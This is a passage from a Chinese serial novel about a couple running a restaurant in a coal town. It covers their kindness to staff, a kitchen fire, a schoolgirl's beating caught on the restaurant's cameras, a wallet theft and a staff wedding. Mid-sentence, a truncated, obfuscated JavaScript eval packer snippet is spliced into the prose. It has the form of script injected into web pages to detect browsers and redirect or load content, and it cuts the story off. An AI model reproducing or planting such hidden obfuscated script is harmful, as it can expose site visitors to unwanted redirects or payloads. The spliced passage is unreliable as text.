晚上关业后，凤珍还不放心海龙，和厚成去了医院，给海龙买了营养品、水果、罐头、蛋糕等，看到海龙已经有精神头了，夫妻俩很高兴。海龙看着凤珍、厚成来了，高兴就像向见到父母一样。凤珍给海龙留下五百元钱，“住院费我又续交了，这些钱留下需要什么买什么？我让厨师给你做点好吃的，让服务生给你送过来。一个星期很快过去，你别着急就当休息了！” 嘱咐护理的服务生说：“海龙我交给你了，一定护理好，有事给我打电话！” 服务生说：“放心吧，大姨！海龙哥出院，我和他一起回店里！” 海龙出院了，凤珍无论店里怎么忙，都不让海龙干活，厨房师傅顿顿换着样的给海龙做“病号饭”。一个月以后，海龙养得白白胖胖的，可以工作了，每天都高高兴兴的。 海龙这次生病店里花了六千多医药费。看到海龙健康的笑脸，凤珍、厚成他们觉得很值得…… 鲜族人善良朴实，手巧，干什么，像什么。他们吃、住生活都在店里，这是他们的家，店里无论是门锁坏了，工具坏了，哪个机器需要上油，风扇脏了，师傅们都会默默地修理好。日久天长，他们和凤珍、厚成相处得像一家人一样。有个小白师傅叫白金龙，鲜族的文化和汉族人文化有很多相似的地方，鲜族人也喜欢“龙”男性叫龙的名字人很多。白金龙个子矮，身体棒，是后厨房师傅。店里忙时自己工作闲时，帮助服务生传菜，一手一只方盘，每个方盘要装4个菜盘，从一楼到二楼方盘稳稳地单手举着，不动不摇菜汁一点不会溢出，是他的绝活。他爱干净，不管冬夏每天凉水擦身，雪地上光脚穿着拖鞋，裤腿挽得高高的，冬天从不穿棉裤，也不感冒，也不生病，跟铁人似的，只是有一个毛病，发工资一定要去歌厅唱歌，喝多了就闯祸。那天早上，凤珍买菜回店里，平时这个时间，白师傅已经在厨房工作了，凤珍没有听到风机的声音，她到厨房看一下炉灶没有点火，也没有看见白师傅的影子。凤珍正要去问张师傅，店里电话响了，凤珍拿起电话，打电话的人问：“你是老板娘于大姐吗？” 凤珍说：“是的，你有什么事？” “我是桃南派出所的警察姓汪，常去你店吃过饭！” 凤珍说：“噢，知道了汪警官！” “你店里有个叫白金龙的鲜族人吧？昨天晚上他去歌厅唱歌，喝多了，把歌厅的窗户玻璃砸坏了二块，歌厅报了警，我们出警到歌厅，他还没有醒酒，还在呜呜喳喳得闹，被我们扣在派出所了。他关在笼子里还尿尿！现在酒醒了，大姐你过来把他带回去吧，然后带一千元钱赔玻璃五百元钱，笼子里尿尿我们要找人清理要罚款五百元。 凤珍听后连连地说：“好、好我马上就去！” 凤珍打开保险柜，拿出一千元去了派出所。 办案汪警官看到凤珍来了，“于大姐来得真快！”汪警官引她来到临时扣人的笼子。 白师傅已经酒醒了，蹲在笼子里像个猴子低着头，没有了往日的精神，看到凤珍来了，站了起来！像鸟在笼子一样，是大圆形的铁筋焊得连老虎也跑不出来。凤珍看到笼子里地下还有一滩黄色的尿，她哭笑不得！ 白师傅说：“对不起了大姨，昨天晚上喝多了，又闯祸啦！”给凤珍弯腰行礼。鲜族人是很有礼貌的，但喝酒喝醉了应当别论。 汪警官打开了笼子的锁，白师傅出来后，汪警官把他带到办公室做了笔录，凤珍交了罚款，把白师傅带回饭店。路上凤珍看白师傅的手有伤，是玻璃划破的口子已经红肿，凤珍要带他去诊所上药。 白师傅说：”没事！”回店里还要工作，要回去马上备料。凤珍拗不过他，只好由他去吧。发工资时，凤珍没有扣白师傅交罚款的一千元，告诉他以后不要去歌厅唱歌喝酒，唱歌再闯祸不去接他啦！ 这次以后，白师傅真是再没有闯祸，如果想喝酒几个人闲着结伴一起去，一起回店里！ 鲜族张师傅的媳妇去了韩国，他和她离婚了，媳妇儿带走一个女孩，张师傅负担的一个男孩，男孩叫张小龙，已经上高一了，平时张小龙住校，节假日学校封寝室了张小龙没地方住。张师傅对凤珍说：“老板娘，我儿子学校节假日宿舍封寝了，想来店里和我一起住，麻烦您了！” 凤珍看着张师傅期待的眼神，想着平日里张师傅以店为家的种种表现，“你这种特殊情况，我可以照顾，寒假时也住在店里，假期做服务生，让孩子锻炼适应社会的能力，让孩子知道挣钱辛苦，对孩子有益无害。” 张师傅说：“太好了，谢谢老板娘”给凤珍深深弯腰鞠了躬…… 店里服务生，服务员多来自于煤城周边的农村，他们、她们来到店里领班的带他们学习服务业务，两个月以后基本都熟练了。他们吃住在店里，店里工作氛围好，凤珍对他们生活各方面都关心，所以都安心在这里工作。有时服务员、服务生的家长来探望孩子，凤珍都要留他们在店里吃饭。家长见凤珍、厚成都是可以信赖的人，放心孩子在这里工作。由于员工口口相传，在别的店里服务员、服务生缺少的情况下，凤珍她的店从不缺人。有些孩子已经辞职了，回家里农忙干活，种完地了，店里该忙了，就回来上班。凤珍说这些孩子无论在店里、干多少天都会结算工资，走时会给带些店里的特色菜品，说是给家人尝一尝！每年暑假都有大学生来店里打工，这些学生到饭店后，凤珍都要嘱咐前厅领班的要耐心地教服务员、服务生。一个暑假过去了，这些学生对店里、对凤珍都有了深厚感情，开学走时，凤珍都要安排厨房的师傅给这些学生做一桌特色菜品尝，带上工资，孩子们恋恋不舍地向凤珍和员工告别，下一年放暑假又到店里来工作…… 旺季时，客人有跑单的、有丢酒的凤珍总是耐心告诉服务员，要加强哪方面的工作，从来没有扣发过任何人的工资。凤珍喜欢员工，称呼叫大姨，觉得很亲切，没有距离感。凤珍有个外甥女大学毕业在外地酒店做管理工作，回煤城探亲来店里帮忙，她看到店里40多名员工到了饭口时，像一部机器一样运转，既有分工，又有合作，人际关系非常和谐，对大姨说：“大姨，你这套管理饭店的方法应该叫“亲情管理法”，员工叫你大姨，我有点嫉妒，本来我的大姨怎么成了他们、她们的大姨呢？！”说的凤珍和周围的人哈哈地笑了起来。 16. 第十六章 每天10点以后开始上客，一波一波地翻台，中午饭口到下午2点以后，有时中午饭口连着晚间的饭口。员工们轮流值班，其他人休息。晚上8点以后不接待顾客，没有走的顾客喝酒消夏的，服务员轮流值班，厚成要留在店里，直到所有的顾客买单后，才能回家，陪着服务员预防发生意外。喝酒的顾客迟迟不走，基本上是喝多了这种情况。有一次，六个人喝了3箱啤酒，买单时说，没喝那么多啤酒，说服务员数得不对，服务员对付这种人有经验，把他们的啤酒空瓶子全放摆在箱子里，他们怎么数也数不明白，对于这种赖账的人，厚成有办法，那个嗓子门大，对那个人说：“哥们，如果带钱不够，没关系，都是老朋友，你明天送过来就行了嘛！” 这时候有人说：“那怎么行啊，那多磕碜呢！啥也不说了，老板还在陪着太晚了，耽误你们休息！”掏出钱来把单买了。 也有吃霸王餐的，一天一桌顾客，刚开始来了二个人，陆续来了二个人，又来三个人，总共七个人，点了一桌菜，说服务员拿二箱啤酒，一箱冰镇的，一箱常温的。服务员送过来啤酒后，这桌人开始喝起来，陆续走了六个人，最后还有一个人还在喝酒。服务员告诉凤珍说：“102那桌只剩下一个人了，还没有买单！” 凤珍意识到有情况：“不管他！”因为这时店里还有其他客人在喝酒。这几桌人陆续买单走了，凤珍对值班炒菜师傅说：“我去叫他买单，如果赖着不买单，我说报警，你就打报警电话！”炒菜师傅答应了。 凤珍和服务员到了102单间，顾客一个人在抽烟，凤珍说：“先生，我们关业了，请你买下单！” 顾客看着凤珍忽地一下站了起来，把衬衫脱了下来，露出了老虎的纹身，还理直气壮地说：“我没有钱买单怎么办？” 服务员说：“你没有钱买单一起喝酒那六个人你都放走了，你这不是成心不买单了吗？” 顾客拿一个瓶啤酒狠狠摔在地上，玻璃瓶摔得粉碎，硬气地说：“老子就没有钱买单，你们能怎么样？” 凤珍说：“报警吧！” 顾客不在乎地说：“报警能怎么样？” 凤珍对炒菜师傅说：“报警！” 炒菜师傅打了报警电话，10分钟之后警察来了问凤珍：“什么情况？” 凤珍说：“102单间来了七个人吃完喝完走了六个人，剩下这一个人说没钱结账，报警也不怕！” 警察到单间一看：“说又是你！”另一位警官说：“这次要拘留你，你太不要脸了，给你了改过的机会，你还这么干！”说两个警察拉起顾客往门外边走，推到警车里。警官对凤珍说：“大姐，饭费多少钱？把单子给我！” 凤珍把单子给了警官说：“谢谢警官！麻烦你们啦！” 警察说：“大姐，你报警是对的，如果这次吃霸王餐这次得逞，下次还会纠结哪些坏人再来白吃，他们会传出风声以后再也不敢来了！” 厚成办事回家，凤珍把事情经过跟厚成说了，厚成说：“做得对！” 此后再也没有发生这种事。 接店第四年的7月里的一天中午，饭口12点多，进来一个40多岁的男人，说要吃一碗冷面。凤珍看他晃荡的走路不稳是喝酒了。这时，正好9号桌撤了下来，服务员让他坐到9号桌，给他端了一碗冷面放在桌上，他开始吃了起来。客人陆续买单，凤珍正忙着收款。服务员过来说：“大姨，9号桌顾客不是好人，他把手伸进□□里掏了一把，没看见什么东西放到碗里，不知道是干什么坏事！” 凤珍冷静地点点头。 这时那个顾客喊：“老板娘过来一下！” 凤珍心想看他捣什么鬼，凤珍到9号桌问：“先生，什么事？” 顾客说：“你看这碗冷面有啥？” 凤珍看一下碗里飘着一根短粗的黑毛，立刻气得脸通红，反问：“你干的什么事你不知道吗？” 那顾客大声说：“你们饭店是有名、饭店卫生好，怎么冷面汤里有黑毛？” 凤珍正要去报警，这时从104客房里冲出几个人说：“好啊，我们找你还没找到你，跑这里来闹事儿！”几个人连拉带踹把他弄到饭店后院，凤珍想坏人有坏报，时辰到了一切都报！ 104几个客人从后院回来对凤珍说：“大姐，他是无赖，伤害着我们了，这几天我们找他算账，没想到在这里碰见了，还在饭店又耍了无赖，给他痛打一顿，打跑了，真解气！” 一场闹剧，这样化解了。 接店的第五年6月份，早晨七点多，厨师们正在备料，凤珍买料回来到厨房，看着灶上做拌菜的鲜族师傅申大姐正在熬料油，满满一大炒勺油是不是太多了，凤珍下意识地有些担心，但是没有说什么，因为这个申大姐性格特，拿店里当家一样，早晨别人不到她已经开始干活了，她是个非常自律的人，自尊心特别强，所以凤珍没说什么去前厅了。 没过几分钟，听到后厨有人大喊：“起火啦，起火啦！”凤珍赶忙往后厨跑，一看是申大姐大炒勺里熬得油着火了，这时一个员工拿个锅盖往大炒勺上盖，火苗呼得一下子窜到很高，厨灶上面的吸烟排风机里本来就有油垢，这下也着了起来，烟已经窜到前厅了，服务生小刘拿起灭火器冲进后厨把火喷灭了……凤珍打了119电话，消防车很快到了，消防员到现场拍了个照，要求老板和当事人去消防队进行调查。 消防队按规定要拘留申大姐，凤珍反复说是自己责任，没有管理好，申大姐一句话也不说，只是害怕地哭。 消防队的领导常来饭店吃狗肉、拌菜、冷面，对凤珍印象很好，最后二位领导商量交二千元罚款处理，要求以后要严格管理好饭店安全，如果发生火灾将是什么后果？ 厨房失火后，水电路、厨灶全废了。凤珍和申大姐回到店里，申大姐开始整理厨房烧焦的物品，凤珍没有责怪申大姐如何，反而安慰申大姐，鼓励大家：“事情已经发生了，好在没有太大的损失，现在咱们任务就是亡羊补牢、全力以赴，把后厨恢复好，尽快开业，挽回影响……” 厚成开始组织抢修，弟弟妹妹，亲属，朋友，邻居，老顾客，纷纷过来询问，有技术的直接帮助维修……二天的时间，饭店后厨设备、设施更换一新，恢复营业，总计损失了二万多元。 吃一堑、长一智，安全警钟长鸣。凤珍召开全体员工会议，会上，凤珍给服务生小刘发了五百元红包，奖励他灭火时的勇敢救火行为，然后对自己管理的过失、对安全不够重视，险些酿成大祸，作了深刻地检查。按照饭店安全的管理规定，具体的制定操作规程、安全检查管理制度、增强“安全第一”的自主保安意识……吸取事故教训，记账公司那边也要查安全隐患，特别是电路检查，有隐患立即处理…… 饭店恢复营业几天后，厚成把饭店一楼、二楼餐饮大厅、后厨、仓库全部安装了监控，张师傅每天关业前检查水箱、所有电器的插座是否安全，凤珍、厚成每天亲自检查员工安全规程执行情况，每周开会，安全是一项重要内容，至此没有发生任何事故。 饭店装了监控以后，协助警察破了两起案件。 第一次是装监控后的一天晚上，饭口开始上人，凤珍看监控后院有很多学生闹闹哄哄的，饭店过道是一所重点中学，饭店挨着一个小超市，卖学生用品、食品，学生放学后经常来超市买东西，有时会在后院逗留，玩耍一会儿。可是今天学生来了这么多？凤珍让服务生去看看这些学生在干什么？一会儿服务生回来说：“大姨，有几个男生打一个女孩子，打嘴巴子、脚踢，那个女生不敢还手，耳朵出血了，围着那些学生是在看热闹。凤珍马上跑到后院，看到服务生说的场景，有个男生还拿烟头烫女孩的脸。凤珍马上拿起电话报警，警察很快到了现场。围观的学生一哄而散，打人的几个学生充当好汉，没有跑，警察让他们上了警车，让另一台车把女孩送到了医院。一位警察进了饭店对凤珍说：“大姐，是你报警的吧？” 凤珍回答：“是！” 警官握着大姐的手说：“谢谢你大姐，多亏你及时报警救了女孩，不然后果更严重！”警察看到监控画面，说我们查下监控画面调查取证…… 第四天早晨8点多，店里一如既往忙碌备料，凤珍买料刚回来正忙着卸货，一辆面包车停在拉料车的后面。车上下来一男一女，从车上拿下来四大包东西进了饭店，放下东西，那个女人猜测地问凤珍，“你是老板娘吧？” 凤珍回答：“我是，您有事？” 那个女人一下子握着凤珍的手说：“大姐，太感谢你了……”说着泣不成声。旁边的那个男的一只手扶着那个女人，另一只手拉着凤珍说：“大姐，你是我们孩子的救命恩人！我们是前几天在你们后院被打女孩的父母，我们过来是感谢你救了我的孩子……” 凤珍把他们让进单间，服务员送了二瓶矿泉水，凤珍安慰那个女人说：“别难过。孩子现在什么情况？” 那个女人边流泪边说：“孩子被警察送到医院后，医生检查耳膜被打穿孔了，几处外伤很重，牙齿有了松动……医生让住院治疗，警察联系上我们，我们去医院给孩子办理住院。当天晚上，孩子发烧惊吓的说胡话，昨晚安静了一些……” 凤珍边听着眼泪流了出来。凤珍打开一瓶矿泉水递给女人，说：“喝点水！事情已经发生了，现在主要是护理好孩子，让她伤早些好起来，别留下后遗症！” 那个女人喝口水说：“大姐，多亏你及时报警，不然还不知道孩子会伤成啥样？现在自己被吓得寸步不敢离开女儿。今天孩子叔叔和姨姨来医院，我们把孩子交给他们，过来感谢大姐的救命之恩！” 凤珍说：“言重了，言重了，如果是别人看到这种事情，也会报警的，这是应该做的！” 旁边那位男人是被打受伤女孩的父亲，他自我介绍：他叫徐华，媳妇叫邓丽梅，家住煤城桃山矿区，老家是安徽的，老父亲是1958年来煤城开发建设的第一批老矿工。他们夫妻在煤城工业局陶瓷厂下岗了，自己创业，开了一家厨房设备商店兼收二手厨房设备，新货、旧货都卖，生意做了十几年了，积累了一些老客户，生意还好……被打受伤女儿叫徐晓晓，今年14岁，是他大女儿，现在初中一年级。还有一个小女儿。这个大女儿学习好，但是性格内向，那些孩子欺负她老实。学校里的事，孩子回家从来不说，他们夫妻做生意忙，知道孩子内向也不多问，直到发生这么严重的事，警察通知才知道孩子在学校的遭遇。后悔得夫妻俩不知道怎么惩罚自己……这二天学校的领导、班主任老师来医院看过孩子、安慰孩子，好好养病，丢下的课各科的老师会给她补上……公安局的领导、办案的警察几次到医院看孩子的病情送去了营养品，说一定公正的处理这起案件，让他们不要有顾虑…… 凤珍和厚成听了，心里还有些舒服，劝他们夫妻放宽心护理好孩子，别责怪自己了，有些事情是想不到的。 凤珍、厚成听到徐华他们的家庭情况完全和自己的家庭一样，一种同命相连的情感油然而生。厚成简单地向徐华介绍了自己家庭情况和现状，和徐华紧紧地握手，有相见恨晚的感觉。厚成比徐华大2岁，说：“你们就称我为大哥吧！”看了一眼凤珍，说称她为“嫂子！”我们以后要互相帮扶！” 徐华这时有了笑脸说：“我们以后认大哥，大嫂！以后常来常往！” 厚成说：“时间不早了，你们回去医院看孩子去吧！改天我们再聚！” 邓丽梅看了丈夫说：“听大哥的，我们这就回去，给嫂子买点水果、营养品，你们收下吧！” 凤珍说：“不能收，带回去给孩子吃！”厚成把东西装到车上，他们互相留了联系电话…… 送走了徐华夫妻俩，凤珍和厚成的心沉甸甸，但是没有说出口。当天晚上厚成在店里营业，凤珍去学校接3个孩子放学，约王玲、洪涛一起陪孩子们上饭店、让孩子们点了他们喜欢吃得菜品，多数的话题让孩子们讲述学校的有趣的事情。小凯读初三，小刚、小丹读初一是徐华姑娘徐晓晓同一所学校。这几天学校里老师以这个事例教育学生，所以他们3个孩子知道这件事。小凯比小刚，小丹大几岁，知道妈妈的心事说：“妈妈，王玲姨、洪涛叔，你们别担心，我们如果被欺负会告诉家长，我也会看好弟弟、妹妹！” 凤珍、王玲看着孩子们的笑脸，互相握着手说，“以后我俩要多关心孩子！” 洪涛说：“公司和饭店的事，我和哥多做一些，你们俩重点看护三个孩子生活和学习，小凯明年要考高中了，更是重中之重！嫂子，小凯考高中这个重担交给了你啦！” 凤珍笑了：“保证完成任务！” 吃过饭，他们带着孩子高高兴地回家了。 第二天是周六晚上，凤珍带着小丹洗澡，洪涛带着小凯、小刚去洗澡，因为平时孩子们周末喜欢洗澡，三个孩子结伴，小凯、小刚洗好后，等着小丹，三个人一起回家。这次洪涛、凤珍为了检查孩子身体表面是否有伤，看到孩子们的身体光滑无痕，他们、她们把心里放到肚子里。从此，三个孩子们晚上放学总有一位爸爸或者妈妈等候，接他们回家，陪着他们写作业…… 徐华，邓丽梅来饭店的第三天后，厚成、凤珍早上买料回来卸完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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徐华说：“参与打人的学生有5个男生，3个女生。警察一个个地询问几个孩子一直说没打徐晓晓，只是闹着玩，警察问徐晓晓的伤，他们又说不是自己打的，是别人打的，总的说不承认，警察最后把监控视频放了出来，他们才不得不承认自己打了徐晓晓的受伤部位。警察传来了家长，开始也是拒不承认，说自己孩子有多么优秀，不可能干这种事，百般辩解，替孩子开脱，最后警察放了监控视频，他们才一个个低下头，警察让他们8家选出2个家长代表，每天和办案警察保持联系，让他们给徐晓晓交二万元的住院费。警察告诉徐华，让他们护理好孩子，这起案件，市里领导，公安局领导都非常重视，说办案有程序，让他们相信法律公正……徐华说，哥多亏你们的监控提供了证据，不然孩子死了都不知道怎么死的！” 厚成握着徐华的的手说：“别想那么多了，徐晓晓会慢慢好起来！” 他们回到病房向徐晓晓告别，凤珍握着徐晓晓的手说：“孩子一切都会过去，好好养病，一定要坚强！” 晓晓点点头，一颗豆大的泪珠滚了下来。 从此两家成为好朋友，常来常往，互相帮扶。 饭店营业的第六年5月初，已经是春末夏初了，树木变绿，吐出了黄绿色的新芽，饭店门前的花盆摆放了鸿运当头的鲜花，红红的一片，人们走出了严冬换了一个心情，穿上合体的春装，每个人比冬天都年轻了几岁。饭店员工今年换了五颜六色的运动装，前厅的服务员、服务生个个显得活泼、俏丽，后厨的师傅白色的工装一定要露出运动装的领子，显摆、显摆。 这是一天晚上饭口，进来3位男客人，一位客人和凤珍打招呼：“大姐，我们又来了！” 凤珍笑着说：“欢迎啊！” 说话的是从吉林来煤城买煤炭的老板，40岁刚出头，中等个子，长方脸，浓眉下一双大眼睛，不胖不瘦，长得像李连杰非常有精气神。另外二位一个是30多岁的男子，一只手拎着提包。另一个背着双肩包年龄也在30上下，看样子他们是业务人员。他们3位一连5天在店里吃晚饭，所以才有刚进来门的一说。常来的客人基本是常坐的位置，如果空着他们还会选择坐在那个位置，这不知道是出于什么心理，凤珍一直没有搞明白，他们每次来坐9号桌，现在这张桌空着，他们直奔9号桌坐下。二个年轻人放下提包和背包去夹拌菜，老板点了狗肉、狗汤豆腐打糕、麻辣鳕鱼、锅包肉，3碗狗汤热面。 这几天服务员已经和他们熟悉了，笑着说：“老板这些够吃了！” 老板笑着说：“姑娘，我们今天中午饭都没吃，留着肚子晚上来咱家吃饭！”吉林人说话有个口头禅，那就是无论说到与我有关的话都要用“咱”这个字来表述，比如、说我妈要说咱妈咱爹，咱妹咱姐。不知嘴上这样说话是为了表达关系，亲近，还是什么意思，但是说到我媳妇儿可不能说咱媳妇，一定要说我媳妇。 3个人说着话，狗肉、汤、菜一起上齐了，3个人不喝酒，看着是饿了，狼吞虎咽地吃起来。 这时，一个高个子的男客人进店几大步坐到了8号桌，和吉林客人坐得9号桌相邻，他叫服务员来一瓶勇闯天涯冰镇啤酒。服务员拿来啤酒放到桌上，他起开瓶盖对着嘴喝起来，一口气喝了半瓶啤酒。他定了定神，起身夹了一盘拌菜，边吃菜边喝啤酒。客人不多，凤珍有些好奇，这个人是生面孔，是在等人？还是什么情况？凤珍在给买单的客人结账，服务员递给凤珍20元钱说：“大姨，8号桌吃饭客人走了结账。”凤珍接过钱摇摇头，有点莫名其妙。 9号桌要买单，凤珍把菜单撕下来交给服务员，服务员把单子放在桌子上，老板从椅子背上拿着外衣掏钱包，发现钱包没有了，3个人桌前桌后地上找钱包，怎么也没有找到钱包，3个人在分析钱包怎么丢失了？ 服务员过来告诉凤珍，她赶紧过去问：“钱包里有多少钱？” 老板回答：“有8000多现金，还有几张银行卡。” 凤珍吃惊地说：“这么多财物报警吧！” 老板同意报警，一会儿警察过来了，老板说了丢钱包的经过……警察调了监控，视频锁定了8号桌那个男人，他出饭店门后，上了一辆外地牌照的白色捷达轿车，凤珍向警察讲述了那个男人进店后的状态……警察对老板说：“这个小偷是跟踪你们到饭店下手的。”因为失主丢失的金额大，又有银行卡，警察很重视，连夜进行搜捕。监控留下了那个男人图像，车辆牌号，警察晚上12点多在高速公路口将盗窃犯罪的男人抓获，现场翻出了那个钱包原封没动。 第二天，警察通知吉林老板要他们去公安局取回丢失的钱包，三个人取回钱包，中午回到饭店告凤珍和厚成案子破了，钱包找回来了，多亏你们店里有监控，录下了小偷的影像，车牌号码，警察才能在高速公路的出口把小偷截住，然后说，“煤城的警察真厉害！……煤城的煤要啥品种有啥品种，以后公司所需要的煤都要从煤城买。凤珍的饭店炒菜，拌菜，狗肉，冷面，哪样都好吃，啤酒镇的格外凉！”哈哈哈哈一阵阵欢声笑语驱散了昨天的阴霾。三个人在饭店吃过饭，把昨日的饭钱一并付过，高兴地离开饭店。 17. 第十七章 春去春又回，凤珍在饭店养得花开得此起彼伏，君子兰如同其名无言有信，届时盛开花朵红红的瓣，黄黄的芯，芬香四溢；碧绿的叶子闪着油亮的光，一对一对伸展着，像运动员在做体操。鸿运当头，不分四季，花开花落，让每个人见到她从心里升起了对幸福的期盼。餐厅柱子下，高大的盆景茁壮成长，肥厚的绿叶，粗壮的枝杈蓬蓬勃勃……顾客有人问：“凤珍怎么才能把花养得这么好？”凤珍这时会毫不保留地讲起她的养花秘诀。“每周必须浇水，每月必须施肥，它所说的肥不是花店卖的有机肥，而是生豆油，每盆要上一小勺生豆油。店里楼上楼下这些花，每次总共要浇一大碗豆油，所以它的花开得鲜亮，叶子都是油绿油绿的，顾客竖起大拇指赞美到：凤珍这人也漂亮，花也漂亮，店也漂亮，饭菜漂亮，干啥像啥，说完哈哈大笑！ 金秋10月，大地抹上了金黄色色彩，收获的季节，弥漫着果实累累的喜悦，饭店里的服务生左红星和服务员郑晓楠准备结婚了。 左红星是来自于煤城周边的农村，是父母家里的独子，中学毕业后，父母觉得孩子还在长身体，怕种地累着，听本村有在凤珍饭店干的服务生说，凤珍的饭店环境好，老板娘待人更好，便来店里打工。 郑晓楠家住饭店附近，父母离异后跟着父亲继母生活。她继母喜欢饭店的冷面，晓楠时常来打包冷面。凤珍看女孩长得个子高高，眉清目秀，白白净净，问晓楠：”你现在是上学还是上班？” 晓楠说：“我现在不上学也不上班，在家玩！” 凤珍又问：“你为什么不上学？” 晓楠回答：“我上学老师讲课听不懂，考试总是在后面。爸爸说我不是读书的料，认识自己的名字，认识男女上厕所别走错就行。在家玩，过几年长大了，找个对象结婚，一个女孩能够有多大出息！” 凤珍问：“你家住在附近吗？” 晓楠回答：“在饭店后边不出500米！” “你叫什么名字？”凤珍对晓楠感兴趣问。 “我叫郑晓楠，今年17岁！”晓楠爽快地回答。 凤珍看中了晓楠问：“来店里做服务员试试，你喜欢吗？不喜欢你做几天我都给你工资！” 晓楠也有意思地问：“我有工装吗，我明天来试试！” 凤珍高兴地说：“工装有啊，明天早上6点到饭店上班！” 晓楠答应一声，提着冷面跑了。 凤珍看着晓楠的背影笑了，自言自语还真是个好孩子！ 第二天早六点，晓楠准时来到店里，凤珍已经交待过领班的，教晓楠工作业务。领班带晓楠和服务员们在一起摘菜，然后打扫前厅卫生，晓楠跟着领班身后认真的学习。 领班夸晓楠这个小妹妹干活手挺快的，是个干服务员的料。 凤珍对领班的说：“你帮她几天，给她找一套合身的工装！” 晓楠穿上工装，头发盘起发髻，化了淡妆，娇媚的如花，犹如一缕清新的春风，让人感受到无限的青春活力…… 晓楠留在店里工作，她也叫凤珍大姨。过几个天她搬店里来住了，说是为了和姐妹玩，其实这个孩子在家里很孤独，爸爸每天早出晚归，继母因为自己不生孩子，所以对晓楠没有感觉，每天热衷于打麻将。晓楠来到店后，感受到了大家庭的温暖。所以看着凤珍大姨的眼神总是暖暖的。 晓楠在店里工作一年后，左红星来到店里，高高的个子，白白净净的脸，大长腿、大长脖子，端起方盘走路生风。左红星人长得大，干活多，饭量也大，员工们知道他喜欢吃的东西都要给他留着。端午节，凤珍买来了糯米、蜜枣，做了粽子，用大锅烀，又放了一些鸡蛋，准备员工端午节早上吃。早上员工天亮去山上采艾蒿，用露水洗脸，打打闹闹，结伴回到店里。凤珍买菜来到店里，看着饭店大门上方已经插了艾蒿，前厅挂了一对大葫芦，知道这是领班带着服务员、服务生布置好的。早晨的工作完成后，后厨师傅端上了粽子，鸡蛋，员工4张桌子，每张桌子一盆粽子，一盆鸡蛋，另外还有咸鸡蛋，咸鸭蛋；店里有2个大坛子是专用腌制鸡蛋和鸭蛋的，常年员工不断能吃到咸蛋。凤珍说：“吃住在店里，工作在店里，店里也是你们的家！”伙食也要像家一样，店里的各种拌的小菜，员工们随便吃，鲜族师傅会用各种菜根、菜叶腌制泡菜。凤珍、厚成从不过问，跟着员工一起吃伙食饭，从没开过小灶，也从没陪过客人吃饭喝酒。 大锅烀粽子，水烧开后慢火烀，粽子软乎，肉又香。在锅里停火凉一夜筋道。一锅煮出来的鸡蛋清香，粽子的甘甜，人多吃东西，格外香。左红星吃粽子，吃鸡蛋，吃了好多才停下来，两个多小时后捂着胃说：“大姨，我粽子吃多撑着啦，现在胃疼想吐！” 凤珍看着红星的脸色发青，头上冒着一层汗珠笑着说：“没事的别急！”说着从一个铁盒子里找出了健胃消食片说：“现在别喝水，吃四个消食片一会就好了！” 左红星听话，吃了药，凤珍让他去外面走一走。 凤珍这个药盒子里有感冒药、跌打损伤药、消炎药、红药水、碘酒、绷带、止泻药。总之，员工有小伤、小痛的都到这里找药。 饭店的饭口到了，左红星回来了，笑着对凤珍说：“大姨，你改 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母亲说：“忙时，你舅舅、叔叔都来帮忙，你放心去吧！” 左红星心里放不下晓南，又来店里工作一年…… 三年后，左红星订在10月1日国庆节这天迎娶郑晓楠。左红星是因为父亲包种的地很多，父亲不会使用农机具，回家和父亲一起种地，在父子俩的辛勤耕种下，今年丰收已成定局。开镰之前，左家要办大喜事，左红星和父亲到郑晓楠家商量结婚事宜，先到饭店告诉凤珍、厚成及员工的结婚喜讯，请凤珍、厚成及全体员工喝喜酒，员工一致请求凤珍放假一天，全体去参加左红星和郑晓楠的婚礼。凤珍、厚成商量后，决定借一辆中型客车，拉着全体员工去参加婚礼。左红星的父亲请厚成作为证婚人讲话，厚成欣然应充。 10月1日早晨7点钟，厚成开着一辆中巴客车停到店门前，员工们打扮的漂亮、精神，都上了车，知道去左红星家路的小陈坐在副驾，厚成发动车，直奔左红星家驶去。车跑得是乡镇道路，路两旁是成熟的庄稼，像待嫁的新娘。来到一个三岔口路口，厚成看到车前方竟有上百只喜鹊起起落落，有的落在地上，还有的落在两边的玉米杆上，场面非常壮观，厚成停下车，叫凤珍和员工们观看这奇观，这时娶亲的车队也来到了路口，新娘的头车也停下来，录像师抢拍了这珍贵的画面，大家喊着：“喜鹊来啦！喜鹊来啦！”所有的人都连连称神奇，“左红星、郑晓楠是有福的孩子，吉祥的喜鹊来贺喜！”这是凤珍、厚成参加记忆最深的一次婚礼，他们相信万物都有灵物，人与人，人与自然都要和谐共处。 18. 第十八章 2015年小凯大学毕业，他学的是电子信息工程专业，小凯各方面都很优秀，大学期间一直是学生会主席，学习成绩名列前茅。毕业前就被那所大学选拔留校做老师。小凯长得像爸爸模样，是女孩子们心中的偶像。小凯情有独钟，他喜欢一个叫钱雪娇的女孩，钱雪娇的眼睛大而明亮，像两颗璀璨的星星，眉毛弯弯，修长而娴静，如画龙点睛，衬托出她的神采；小巧的鼻子，红润的小嘴，一笑时露出洁白的牙齿。身材修长，轻柔如燕……他俩是同班同学，4年的大学生活，两个人同在学生会，钱雪娇是文体部长，非常有组织能力，又是学校学生合唱团的领唱、独唱演员，她的歌声如泉水般的清澈，唱出了令人陶醉的歌声，她模仿歌唱家于淑珍老师演唱的“泉水叮咚响……”听过的人赞叹道她是歌唱家的料，怎么会选择和臭小子们一样学习电子信息工程专业？钱雪娇听到后笑着说：“唱歌是我的业余爱好，我真正的心之所向是要做一名工程师，探索未知的科学领域……”毕业后她考上了研究生继续深造…… 钱雪娇对小凯既有爱恋之情，又有兄长般的依赖，因为她是独生女。小凯各方面完美，翩翩公子如玉树临风，能在任何场合都散发出独特的男人的魅力，吸引着钱雪娇的眼球。在老师和同学的眼里，他们是天造地设的一对。多少次不同的场合，同学们调侃他们，他们都会一笑了之，淡定自若…… 小凯对爱情很理性，没有向钱雪娇表白。他想，钱雪娇是百里挑一的女孩，自身太优秀。她的父亲是省城著名大学教授，留学英国；母亲是省城医学院的著名眼科专家，这样家庭的门槛太高，以自己目前的资历和能力是不能开口表白的。钱雪娇考上研究生后，小凯又是高兴，又是失落，觉得他和钱雪娇的距离又远了一程。 